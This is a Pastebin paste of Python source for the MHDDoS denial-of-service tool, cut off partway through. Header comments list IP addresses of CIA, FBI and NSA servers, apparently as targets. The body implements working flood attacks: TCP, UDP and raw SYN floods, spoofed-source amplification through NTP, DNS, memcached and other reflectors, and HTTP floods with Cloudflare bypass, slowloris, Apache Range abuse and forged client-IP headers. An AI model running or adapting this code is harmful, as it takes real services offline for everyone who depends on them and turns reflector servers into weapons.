API tools faq
paste
otown

MHDDoS 40+ DDoS Attack Methods

otown
Mar 5th, 2022 (edited)
111
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.03 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. # Get more files here: https://github.com/MHProDev/MHDDoS
  4. # https://artificialtelepathy.blogspot.com/2009/01/psychotropic-space-weapons.html
  5. # https://en.wikipedia.org/wiki/List_of_government_space_agencies
  6. # app.roscosmos.ru
  7. # roscosmos.ru
  8. # cnsa.gov.cn
  9. # https://en.wikipedia.org/wiki/Advanced_Extremely_High_Frequency
  10. # https://www.targetedjustice.com/technology.html
  11. # foia.cia.gov mail2.cia.gov - 198.81.129.148 www.cia.gov - 184.30.173.15 www2.cia.gov - 198.81.129.101
  12. # images.fbi.gov - 104.16.148.244 images.fbi.gov - 104.16.149.244 mail.fbi.gov - 204.11.0.13 whois.fbi.gov - 52.247.173.193
  13. # www.fbi.gov - 104.16.148.244 www.fbi.gov - 104.16.149.244 www2.fbi.gov - 104.16.148.244 www2.fbi.gov - 104.16.149.244
  14. # sip.fbi.gov - 104.212.44.139 mobile.fbi.gov - 13.227.74.15 mobile.fbi.gov - 13.227.74.1 mobile.fbi.gov - 13.227.74.8
  15. # mobile.fbi.gov - 13.227.74.84 images.fbi.gov - 104.16.148.244 images.fbi.gov - 104.16.149.244 mail.fbi.gov - 204.11.0.13
  16. # whois.fbi.gov - 52.247.173.193 www.fbi.gov - 104.16.148.244 www.fbi.gov - 104.16.149.244 www2.fbi.gov - 104.16.148.244
  17. # www2.fbi.gov - 104.16.149.244 sip.fbi.gov - 104.212.44.139 mobile.fbi.gov - 13.227.74.15 mobile.fbi.gov - 13.227.74.18
  18. # mobile.fbi.gov - 13.227.74.8 mobile.fbi.gov - 13.227.74.84 etc.
  19. # apps.nsa.gov - 23.218.93.48 apps.nsa.gov - 23.218.93.50 apps.nsa.gov - 2600:1408:c400:16::17d4:f808
  20. # apps.nsa.gov - 2600:1408:c400:16::17d4:f80c vpn.nsa.gov - 207.87.214.146 www.nsa.gov - 23.59.115.237
  21. # www.nsa.gov - 2600:1402:b800:983::3f78 www.nsa.gov - 2600:1402:b800:98a::3f78 smtp.nsa.gov - 8.44.101.8 smtp.nsa.gov - 8.44.101.9
  22.  
  23. from concurrent.futures import ThreadPoolExecutor, as_completed
  24. from contextlib import suppress
  25. from itertools import cycle
  26. from json import load
  27. from logging import basicConfig, getLogger, shutdown
  28. from math import log2, trunc
  29. from multiprocessing import RawValue
  30. from os import urandom as randbytes
  31. from pathlib import Path
  32. from random import choice as randchoice
  33. from random import randint
  34. from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
  35. SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
  36. gethostname, socket)
  37. from ssl import CERT_NONE, SSLContext, create_default_context
  38. from subprocess import run
  39. from sys import argv
  40. from sys import exit as _exit
  41. from threading import Event, Lock, Thread
  42. from urllib import parse
  43. from time import sleep, time
  44. from typing import Any, List, Set, Tuple
  45.  
  46. import dns.resolver
  47. from certifi import where
  48. from cfscrape import create_scraper
  49. from icmplib import ping
  50. from impacket.ImpactPacket import IP, TCP, UDP, Data
  51. from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
  52. from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
  53. from PyRoxy import Tools as ProxyTools
  54. from requests import Response, Session, exceptions, get
  55. from yarl import URL
  56.  
  57. basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
  58. datefmt="%H:%M:%S")
  59. logger = getLogger("MHDDoS")
  60. logger.setLevel("INFO")
  61. ctx: SSLContext = create_default_context(cafile=where())
  62. ctx.check_hostname = False
  63. ctx.verify_mode = CERT_NONE
  64.  
  65. __version__ = "2.1 SNAPSHOT"
  66. __dir__ = Path(__file__).parent
  67. __ip__ = get('https://api.my-ip.io/ip').text
  68.  
  69.  
  70. def exit(*message):
  71. if message:
  72. logger.error(" ".join(message))
  73. shutdown()
  74. _exit(1)
  75.  
  76.  
  77. class Methods:
  78. LAYER7_METHODS: Set[str] = {
  79. "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
  80. "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
  81. "APACHE", "XMLRPC", "BOT", "BOMB"
  82. }
  83.  
  84. LAYER4_METHODS: Set[str] = {
  85. "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
  86. "CHAR", "RDP"
  87. }
  88. ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
  89.  
  90.  
  91. google_agents = [
  92. "Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  93. "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
  94. "like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
  95. "+http://www.google.com/bot.html)) "
  96. "Googlebot/2.1 (+http://www.google.com/bot.html)",
  97. "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
  98. ]
  99.  
  100.  
  101. class Counter(object):
  102.  
  103. def __init__(self, value=0):
  104. self._value = RawValue('i', value)
  105. self._lock = Lock()
  106.  
  107. def __iadd__(self, value):
  108. with self._lock:
  109. self._value.value += value
  110. return self
  111.  
  112. def __int__(self):
  113. return self._value.value
  114.  
  115. def set(self, value):
  116. with self._lock:
  117. self._value.value = value
  118. return self
  119.  
  120.  
  121. REQUESTS_SENT = Counter()
  122. bytes_sent = Counter()
  123.  
  124.  
  125. class Tools:
  126.  
  127. @staticmethod
  128. def humanbytes(i: int, binary: bool = False, precision: int = 2):
  129. MULTIPLES = [
  130. "B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
  131. ]
  132. if i > 0:
  133. base = 1024 if binary else 1000
  134. multiple = trunc(log2(i) / log2(base))
  135. value = i / pow(base, multiple)
  136. suffix = MULTIPLES[multiple].format("i" if binary else "")
  137. return f"{value:.{precision}f} {suffix}"
  138. else:
  139. return f"-- B"
  140.  
  141. @staticmethod
  142. def humanformat(num: int, precision: int = 2):
  143. suffixes = ['', 'k', 'm', 'g', 't', 'p']
  144. if num > 999:
  145. obje = sum(
  146. [abs(num / 1000.0**x) >= 1 for x in range(1, len(suffixes))])
  147. return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
  148. else:
  149. return num
  150.  
  151. @staticmethod
  152. def sizeOfRequest(res: Response) -> int:
  153. size: int = len(res.request.method)
  154. size += len(res.request.url)
  155. size += len('\r\n'.join(f'{key}: {value}'
  156. for key, value in res.request.headers.items()))
  157. return size
  158.  
  159.  
  160. # noinspection PyBroadException
  161. class Layer4(Thread):
  162. _method: str
  163. _target: Tuple[str, int]
  164. _ref: Any
  165. SENT_FLOOD: Any
  166. _amp_payloads = cycle
  167. _proxies: List[Proxy] = None
  168.  
  169. def __init__(self,
  170. target: Tuple[str, int],
  171. ref: List[str] = None,
  172. method: str = "TCP",
  173. synevent: Event = None,
  174. proxies: Set[Proxy] = None):
  175. super().__init__(daemon=True)
  176. self._amp_payload = None
  177. self._amp_payloads = cycle([])
  178. self._ref = ref
  179. self._method = method
  180. self._target = target
  181. self._synevent = synevent
  182. if proxies:
  183. self._proxies = list(proxies)
  184.  
  185. def run(self) -> None:
  186. if self._synevent: self._synevent.wait()
  187. self.select(self._method)
  188. while self._synevent.is_set():
  189. with suppress(Exception):
  190. while self._synevent.is_set():
  191. self.SENT_FLOOD()
  192.  
  193. def get_effective_socket(self,
  194. conn_type=AF_INET,
  195. sock_type=SOCK_STREAM,
  196. proto_type=IPPROTO_TCP):
  197. if self._proxies:
  198. return randchoice(self._proxies).open_socket(
  199. conn_type, sock_type, proto_type)
  200. return socket(conn_type, sock_type, proto_type)
  201.  
  202. def select(self, name):
  203. self.SENT_FLOOD = self.TCP
  204. if name == "UDP": self.SENT_FLOOD = self.UDP
  205. if name == "SYN": self.SENT_FLOOD = self.SYN
  206. if name == "VSE": self.SENT_FLOOD = self.VSE
  207. if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
  208. if name == "RDP":
  209. self._amp_payload = (
  210. b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
  211. 3389)
  212. self.SENT_FLOOD = self.AMP
  213. self._amp_payloads = cycle(self._generate_amp())
  214. if name == "MEM":
  215. self._amp_payload = (
  216. b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
  217. self.SENT_FLOOD = self.AMP
  218. self._amp_payloads = cycle(self._generate_amp())
  219. if name == "CHAR":
  220. self._amp_payload = (b'\x01', 19)
  221. self.SENT_FLOOD = self.AMP
  222. self._amp_payloads = cycle(self._generate_amp())
  223. if name == "ARD":
  224. self._amp_payload = (b'\x00\x14\x00\x00', 3283)
  225. self.SENT_FLOOD = self.AMP
  226. self._amp_payloads = cycle(self._generate_amp())
  227. if name == "NTP":
  228. self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
  229. self.SENT_FLOOD = self.AMP
  230. self._amp_payloads = cycle(self._generate_amp())
  231. if name == "DNS":
  232. self._amp_payload = (
  233. b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
  234. b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53)
  235. self.SENT_FLOOD = self.AMP
  236. self._amp_payloads = cycle(self._generate_amp())
  237.  
  238. def TCP(self) -> None:
  239. global bytes_sent, REQUESTS_SENT
  240. try:
  241. with self.get_effective_socket(AF_INET, SOCK_STREAM) as s:
  242. s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
  243. s.connect(self._target)
  244. while s.send(randbytes(1024)):
  245. REQUESTS_SENT += 1
  246. bytes_sent += 1024
  247. except Exception:
  248. s.close()
  249.  
  250. def MINECRAFT(self) -> None:
  251. global bytes_sent, REQUESTS_SENT
  252. payload = b'\x0f\x1f0\t' + self._target[0].encode() + b'\x0fA'
  253. try:
  254. with self.get_effective_socket(AF_INET, SOCK_STREAM) as s:
  255. s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
  256. s.connect(self._target)
  257.  
  258. s.send(payload)
  259. bytes_sent += len(payload)
  260.  
  261. while s.send(b'\x01'):
  262. s.send(b'\x00')
  263. REQUESTS_SENT += 2
  264. bytes_sent += 2
  265.  
  266. except Exception:
  267. s.close()
  268.  
  269. def UDP(self) -> None:
  270. global bytes_sent, REQUESTS_SENT
  271. try:
  272. with socket(AF_INET, SOCK_DGRAM) as s:
  273. while s.sendto(randbytes(1024), self._target):
  274. REQUESTS_SENT += 1
  275. bytes_sent += 1024
  276.  
  277. except Exception:
  278. s.close()
  279.  
  280. def SYN(self) -> None:
  281. global bytes_sent, REQUESTS_SENT
  282. payload = self._genrate_syn()
  283. try:
  284. with self.get_effective_socket(AF_INET, SOCK_RAW,
  285. IPPROTO_TCP) as s:
  286. s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
  287. while s.sendto(payload, self._target):
  288. REQUESTS_SENT += 1
  289. bytes_sent += len(payload)
  290.  
  291. except Exception:
  292. s.close()
  293.  
  294. def AMP(self) -> None:
  295. global bytes_sent, REQUESTS_SENT
  296. payload = next(self._amp_payloads)
  297. try:
  298. with self.get_effective_socket(AF_INET, SOCK_RAW,
  299. IPPROTO_UDP) as s:
  300. s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
  301. while s.sendto(*payload):
  302. REQUESTS_SENT += 1
  303. bytes_sent += len(payload[0])
  304.  
  305. except Exception:
  306. s.close()
  307.  
  308. def VSE(self) -> None:
  309. global bytes_sent, REQUESTS_SENT
  310. payload = (
  311. b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
  312. b'\x20\x51\x75\x65\x72\x79\x00')
  313. try:
  314. with socket(AF_INET, SOCK_DGRAM) as s:
  315. while s.sendto(payload, self._target):
  316. REQUESTS_SENT += 1
  317. bytes_sent += len(payload)
  318. except Exception:
  319. s.close()
  320.  
  321. def _genrate_syn(self) -> bytes:
  322. ip: IP = IP()
  323. ip.set_ip_src(__ip__)
  324. ip.set_ip_dst(self._target[0])
  325. tcp: TCP = TCP()
  326. tcp.set_SYN()
  327. tcp.set_th_dport(self._target[1])
  328. tcp.set_th_sport(randint(1, 65535))
  329. ip.contains(tcp)
  330. return ip.get_packet()
  331.  
  332. def _generate_amp(self):
  333. payloads = []
  334. for ref in self._ref:
  335. ip: IP = IP()
  336. ip.set_ip_src(self._target[0])
  337. ip.set_ip_dst(ref)
  338.  
  339. ud: UDP = UDP()
  340. ud.set_uh_dport(self._amp_payload[1])
  341. ud.set_uh_sport(self._target[1])
  342.  
  343. ud.contains(Data(self._amp_payload[0]))
  344. ip.contains(ud)
  345.  
  346. payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
  347. return payloads
  348.  
  349.  
  350. # noinspection PyBroadException
  351. class HttpFlood(Thread):
  352. _proxies: List[Proxy] = None
  353. _payload: str
  354. _defaultpayload: Any
  355. _req_type: str
  356. _useragents: List[str]
  357. _referers: List[str]
  358. _target: URL
  359. _method: str
  360. _rpc: int
  361. _synevent: Any
  362. SENT_FLOOD: Any
  363.  
  364. def __init__(self,
  365. target: URL,
  366. host: str,
  367. method: str = "GET",
  368. rpc: int = 1,
  369. synevent: Event = None,
  370. useragents: Set[str] = None,
  371. referers: Set[str] = None,
  372. proxies: Set[Proxy] = None) -> None:
  373. super().__init__(daemon=True)
  374. self.SENT_FLOOD = None
  375. self._synevent = synevent
  376. self._rpc = rpc
  377. self._method = method
  378. self._target = target
  379. self._host = host
  380. self._raw_target = (self._host, (self._target.port or 80))
  381.  
  382. if not self._target.host[len(self._target.host) - 1].isdigit():
  383. self._raw_target = (self._host, (self._target.port or 80))
  384.  
  385. if not referers:
  386. referers: List[str] = [
  387. "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
  388. ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
  389. "/sharer.php?u=",
  390. ",https://drive.google.com/viewerng/viewer?url=",
  391. ",https://www.google.com/translate?u="
  392. ]
  393. self._referers = list(referers)
  394. if proxies:
  395. self._proxies = list(proxies)
  396.  
  397. if not useragents:
  398. useragents: List[str] = [
  399. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 '
  400. 'Safari/537.36',
  401. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 '
  402. 'Safari/537.36',
  403. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 '
  404. 'Safari/537.36',
  405. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'
  406. ]
  407. self._useragents = list(useragents)
  408. self._req_type = self.getMethodType(method)
  409. self._defaultpayload = "%s %s HTTP/1.1\r\n" % (self._req_type,
  410. target.raw_path_qs)
  411. self._payload = (self._defaultpayload +
  412. 'Accept-Encoding: gzip, deflate, br\r\n'
  413. 'Accept-Language: en-US,en;q=0.9\r\n'
  414. 'Cache-Control: max-age=0\r\n'
  415. 'Connection: Keep-Alive\r\n'
  416. 'Sec-Fetch-Dest: document\r\n'
  417. 'Sec-Fetch-Mode: navigate\r\n'
  418. 'Sec-Fetch-Site: none\r\n'
  419. 'Sec-Fetch-User: ?1\r\n'
  420. 'Sec-Gpc: 1\r\n'
  421. 'Pragma: no-cache\r\n'
  422. 'Upgrade-Insecure-Requests: 1\r\n')
  423.  
  424. def run(self) -> None:
  425. if self._synevent: self._synevent.wait()
  426. self.select(self._method)
  427. while self._synevent.is_set():
  428. with suppress(Exception):
  429. while self._synevent.is_set():
  430. self.SENT_FLOOD()
  431.  
  432. @property
  433. def SpoofIP(self) -> str:
  434. spoof: str = ProxyTools.Random.rand_ipv4()
  435. payload: str = ""
  436. payload += "X-Forwarded-Proto: Http\r\n"
  437. payload += f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
  438. payload += f"Via: {spoof}\r\n"
  439. payload += f"Client-IP: {spoof}\r\n"
  440. payload += f'X-Forwarded-For: {spoof}\r\n'
  441. payload += f'Real-IP: {spoof}\r\n'
  442. return payload
  443.  
  444. def generate_payload(self, other: str = None) -> bytes:
  445. payload: str | bytes = self._payload
  446. payload += "Host: %s\r\n" % self._target.authority
  447. payload += self.randHeadercontent
  448. payload += other if other else ""
  449. return str.encode(f"{payload}\r\n")
  450.  
  451. def open_connection(self) -> socket:
  452. if self._proxies:
  453. sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
  454. else:
  455. sock = socket()
  456.  
  457. sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
  458. sock.connect(self._raw_target)
  459.  
  460. if self._target.scheme.lower() == "https":
  461. sock = ctx.wrap_socket(sock,
  462. server_hostname=self._target.host,
  463. server_side=False,
  464. do_handshake_on_connect=True,
  465. suppress_ragged_eofs=True)
  466. return sock
  467.  
  468. @property
  469. def randHeadercontent(self) -> str:
  470. payload: str = ""
  471. payload += f"User-Agent: {randchoice(self._useragents)}\r\n"
  472. payload += f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n"
  473. payload += self.SpoofIP
  474. return payload
  475.  
  476. @staticmethod
  477. def getMethodType(method: str) -> str:
  478. return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
  479. "STRESS", "DYN", "SLOW", "PPS", "APACHE",
  480. "BOT",} \
  481. else "POST" if {method.upper()} & {"POST", "XMLRPC"} \
  482. else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
  483. else "REQUESTS"
  484.  
  485. def POST(self) -> None:
  486. global bytes_sent, REQUESTS_SENT
  487. payload: bytes = self.generate_payload(
  488. ("Content-Length: 44\r\n"
  489. "X-Requested-With: XMLHttpRequest\r\n"
  490. "Content-Type: application/json\r\n\r\n"
  491. '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
  492. try:
  493. with self.open_connection() as s:
  494. for _ in range(self._rpc):
  495. if s.send(payload):
  496. REQUESTS_SENT += 1
  497. bytes_sent += len(payload)
  498. except Exception:
  499. s.close()
  500.  
  501. def STRESS(self) -> None:
  502. global bytes_sent, REQUESTS_SENT
  503. payload: bytes = self.generate_payload(
  504. (f"Content-Length: 524\r\n"
  505. "X-Requested-With: XMLHttpRequest\r\n"
  506. "Content-Type: application/json\r\n\r\n"
  507. '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
  508. try:
  509. with self.open_connection() as s:
  510. for _ in range(self._rpc):
  511. if s.send(payload):
  512. REQUESTS_SENT += 1
  513. bytes_sent += len(payload)
  514. except Exception:
  515. s.close()
  516.  
  517. def COOKIES(self) -> None:
  518. global bytes_sent, REQUESTS_SENT
  519. payload: bytes = self.generate_payload(
  520. "Cookie: _ga=GA%s;"
  521. " _gat=1;"
  522. " __cfduid=dc232334gwdsd23434542342342342475611928;"
  523. " %s=%s\r\n" %
  524. (randint(1000, 99999), ProxyTools.Random.rand_str(6),
  525. ProxyTools.Random.rand_str(32)))
  526. try:
  527. with self.open_connection() as s:
  528. for _ in range(self._rpc):
  529. if s.send(payload):
  530. REQUESTS_SENT += 1
  531. bytes_sent += len(payload)
  532. except Exception:
  533. s.close()
  534.  
  535. def APACHE(self) -> None:
  536. global bytes_sent, REQUESTS_SENT
  537. payload: bytes = self.generate_payload(
  538. "Range: bytes=0-,%s" % ",".join("5-%d" % i
  539. for i in range(1, 1024)))
  540. try:
  541. with self.open_connection() as s:
  542. for _ in range(self._rpc):
  543. if s.send(payload):
  544. REQUESTS_SENT += 1
  545. bytes_sent += len(payload)
  546. except Exception:
  547. s.close()
  548.  
  549. def XMLRPC(self) -> None:
  550. global bytes_sent, REQUESTS_SENT
  551. payload: bytes = self.generate_payload(
  552. ("Content-Length: 345\r\n"
  553. "X-Requested-With: XMLHttpRequest\r\n"
  554. "Content-Type: application/xml\r\n\r\n"
  555. "<?xml version='1.0' encoding='iso-8859-1'?>"
  556. "<methodCall><methodName>pingback.ping</methodName>"
  557. "<params><param><value><string>%s</string></value>"
  558. "</param><param><value><string>%s</string>"
  559. "</value></param></params></methodCall>") %
  560. (ProxyTools.Random.rand_str(64),
  561. ProxyTools.Random.rand_str(64)))[:-2]
  562. try:
  563. with self.open_connection() as s:
  564. for _ in range(self._rpc):
  565. if s.send(payload):
  566. REQUESTS_SENT += 1
  567. bytes_sent += len(payload)
  568. except Exception:
  569. s.close()
  570.  
  571. def PPS(self) -> None:
  572. global bytes_sent, REQUESTS_SENT
  573. try:
  574. with self.open_connection() as s:
  575. for _ in range(self._rpc):
  576. if s.send(self._defaultpayload):
  577. REQUESTS_SENT += 1
  578. bytes_sent += len(self._defaultpayload)
  579. except Exception:
  580. s.close()
  581.  
  582. def GET(self) -> None:
  583. global bytes_sent, REQUESTS_SENT
  584. payload: bytes = self.generate_payload()
  585. try:
  586. with self.open_connection() as s:
  587. for _ in range(self._rpc):
  588. if s.send(payload):
  589. REQUESTS_SENT += 1
  590. bytes_sent += len(payload)
  591. except Exception:
  592. s.close()
  593.  
  594. def BOT(self) -> None:
  595. global bytes_sent, REQUESTS_SENT
  596. payload: bytes = self.generate_payload()
  597. p1, p2 = str.encode(
  598. "GET /robots.txt HTTP/1.1\r\n"
  599. "Host: %s\r\n" % self._target.raw_authority +
  600. "Connection: Keep-Alive\r\n"
  601. "Accept: text/plain,text/html,*/*\r\n"
  602. "User-Agent: %s\r\n" % randchoice(google_agents) +
  603. "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
  604. "GET /sitemap.xml HTTP/1.1\r\n"
  605. "Host: %s\r\n" % self._target.raw_authority +
  606. "Connection: Keep-Alive\r\n"
  607. "Accept: */*\r\n"
  608. "From: googlebot(at)googlebot.com\r\n"
  609. "User-Agent: %s\r\n" % randchoice(google_agents) +
  610. "Accept-Encoding: gzip,deflate,br\r\n"
  611. "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
  612. ProxyTools.Random.rand_str(4)) +
  613. "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
  614. try:
  615. with self.open_connection() as s:
  616. s.send(p1)
  617. s.send(p2)
  618. bytes_sent += len(p1 + p2)
  619. REQUESTS_SENT += 2
  620.  
  621. for _ in range(self._rpc):
  622. if s.send(payload):
  623. REQUESTS_SENT += 1
  624. bytes_sent += len(payload)
  625. except Exception:
  626. s.close()
  627.  
  628. def EVEN(self) -> None:
  629. global bytes_sent, REQUESTS_SENT
  630. payload: bytes = self.generate_payload()
  631. try:
  632. with self.open_connection() as s:
  633. while s.send(payload) and s.recv(1):
  634. REQUESTS_SENT += 1
  635. bytes_sent += len(payload)
  636. except Exception:
  637. s.close()
  638.  
  639. def OVH(self) -> None:
  640. global bytes_sent, REQUESTS_SENT
  641. payload: bytes = self.generate_payload()
  642. try:
  643. with self.open_connection() as s:
  644. for _ in range(min(self._rpc, 5)):
  645. if s.send(payload):
  646. REQUESTS_SENT += 1
  647. bytes_sent += len(payload)
  648. except Exception:
  649. s.close()
  650.  
  651. def CFB(self):
  652. pro = None
  653. global bytes_sent, REQUESTS_SENT
  654. if self._proxies:
  655. pro = randchoice(self._proxies)
  656. try:
  657. with create_scraper() as s:
  658. for _ in range(self._rpc):
  659. if pro:
  660. with s.get(self._target.human_repr(),
  661. proxies=pro.asRequest()) as res:
  662. REQUESTS_SENT += 1
  663. bytes_sent += Tools.sizeOfRequest(res)
  664. continue
  665.  
  666. with s.get(self._target.human_repr()) as res:
  667. REQUESTS_SENT += 1
  668. bytes_sent += Tools.sizeOfRequest(res)
  669. except Exception:
  670. s.close()
  671.  
  672. def CFBUAM(self):
  673. global bytes_sent, REQUESTS_SENT
  674. payload: bytes = self.generate_payload()
  675. try:
  676. with self.open_connection() as s:
  677. sleep(5.01)
  678. for _ in range(self._rpc):
  679. if s.send(payload):
  680. REQUESTS_SENT += 1
  681. bytes_sent += len(payload)
  682. except Exception:
  683. s.close()
  684.  
  685. def AVB(self):
  686. global bytes_sent, REQUESTS_SENT
  687. payload: bytes = self.generate_payload()
  688. try:
  689. with self.open_connection() as s:
  690. for _ in range(self._rpc):
  691. sleep(max(self._rpc / 1000, 1))
  692. if s.send(payload):
  693. REQUESTS_SENT += 1
  694. bytes_sent += len(payload)
  695. except Exception:
  696. s.close()
  697.  
  698. def DGB(self):
  699. global bytes_sent, REQUESTS_SENT
  700. with create_scraper() as s:
  701. try:
  702. for _ in range(min(self._rpc, 5)):
  703. sleep(min(self._rpc, 5) / 100)
  704. if self._proxies:
  705. pro = randchoice(self._proxies)
  706. with s.get(self._target.human_repr(),
  707. proxies=pro.asRequest()) as res:
  708. REQUESTS_SENT += 1
  709. bytes_sent += Tools.sizeOfRequest(res)
  710. continue
  711.  
  712. with s.get(self._target.human_repr()) as res:
  713. REQUESTS_SENT += 1
  714. bytes_sent += Tools.sizeOfRequest(res)
  715. except Exception:
  716. s.close()
  717.  
  718. def DYN(self):
  719. global bytes_sent, REQUESTS_SENT
  720. payload: str | bytes = self._payload
  721. payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6),
  722. self._target.authority)
  723. payload += self.randHeadercontent
  724. payload += self.SpoofIP
  725. payload = str.encode(f"{payload}\r\n")
  726. try:
  727. with self.open_connection() as s:
  728. for _ in range(self._rpc):
  729. if s.send(payload):
  730. REQUESTS_SENT += 1
  731. bytes_sent += len(payload)
  732. except Exception:
  733. s.close()
  734.  
  735. def BYPASS(self):
  736. global REQUESTS_SENT, bytes_sent
  737. pro = None
  738. if self._proxies:
  739. pro = randchoice(self._proxies)
  740. try:
  741. with Session() as s:
  742. for _ in range(self._rpc):
  743. if pro:
  744. with s.get(self._target.human_repr(),
  745. proxies=pro.asRequest()) as res:
  746. REQUESTS_SENT += 1
  747. bytes_sent += Tools.sizeOfRequest(res)
  748. continue
  749.  
  750. with s.get(self._target.human_repr()) as res:
  751. REQUESTS_SENT += 1
  752. bytes_sent += Tools.sizeOfRequest(res)
  753. except Exception:
  754. s.close()
  755.  
  756. def GSB(self):
  757. global bytes_sent, REQUESTS_SENT
  758. payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
  759. self._target.raw_path_qs,
  760. ProxyTools.Random.rand_str(6))
  761. payload = (payload + 'Accept-Encoding: gzip, deflate, br\r\n'
  762. 'Accept-Language: en-US,en;q=0.9\r\n'
  763. 'Cache-Control: max-age=0\r\n'
  764. 'Connection: Keep-Alive\r\n'
  765. 'Sec-Fetch-Dest: document\r\n'
  766. 'Sec-Fetch-Mode: navigate\r\n'
  767. 'Sec-Fetch-Site: none\r\n'
  768. 'Sec-Fetch-User: ?1\r\n'
  769. 'Sec-Gpc: 1\r\n'
  770. 'Pragma: no-cache\r\n'
  771. 'Upgrade-Insecure-Requests: 1\r\n')
  772. payload += "Host: %s\r\n" % self._target.authority
  773. payload += self.randHeadercontent
  774. payload += self.SpoofIP
  775. payload = str.encode(f"{payload}\r\n")
  776. try:
  777. with self.open_connection() as s:
  778. for _ in range(self._rpc):
  779. if s.send(payload):
  780. REQUESTS_SENT += 1
  781. bytes_sent += len(payload)
  782. except Exception:
  783. s.close()
  784.  
  785. def NULL(self) -> None:
  786. global bytes_sent, REQUESTS_SENT
  787. payload: str | bytes = self._payload
  788. payload += "Host: %s\r\n" % self._target.authority
  789. payload += "User-Agent: null\r\n"
  790. payload += "Referrer: null\r\n"
  791. payload += self.SpoofIP
  792. payload = str.encode(f"{payload}\r\n")
  793. try:
  794. with self.open_connection() as s:
  795. for _ in range(self._rpc):
  796. if s.send(payload):
  797. REQUESTS_SENT += 1
  798. bytes_sent += len(payload)
  799. except Exception:
  800. s.close()
  801.  
  802. def SLOW(self):
  803. global bytes_sent, REQUESTS_SENT
  804. payload: bytes = self.generate_payload()
  805. try:
  806. with self.open_connection() as s:
  807. for _ in range(self._rpc):
  808. s.send(payload)
  809. while s.send(payload) and s.recv(1):
  810. for i in range(self._rpc):
  811. keep = str.encode("X-a: %d\r\n" % randint(1, 5000))
  812. if s.send(keep):
  813. sleep(self._rpc / 15)
  814. REQUESTS_SENT += 1
  815. bytes_sent += len(keep)
  816. break
  817. except Exception:
  818. s.close()
  819.  
  820. def select(self, name: str) -> None:
  821. self.SENT_FLOOD = self.GET
  822. if name == "POST":
  823. self.SENT_FLOOD = self.POST
  824. if name == "CFB":
  825. self.SENT_FLOOD = self.CFB
  826. if name == "CFBUAM":
  827. self.SENT_FLOOD = self.CFBUAM
  828. if name == "XMLRPC":
  829. self.SENT_FLOOD = self.XMLRPC
  830. if name == "BOT":
  831. self.SENT_FLOOD = self.BOT
  832. if name == "APACHE":
  833. self.SENT_FLOOD = self.APACHE
  834. if name == "BYPASS":
  835. self.SENT_FLOOD = self.BYPASS
  836. if name == "OVH":
  837. self.SENT_FLOOD = self.OVH
  838. if name == "AVB":
  839. self.SENT_FLOOD = self.AVB
  840. if name == "STRESS":
  841. self.SENT_FLOOD = self.STRESS
  842. if name == "DYN":
  843. self.SENT_FLOOD = self.DYN
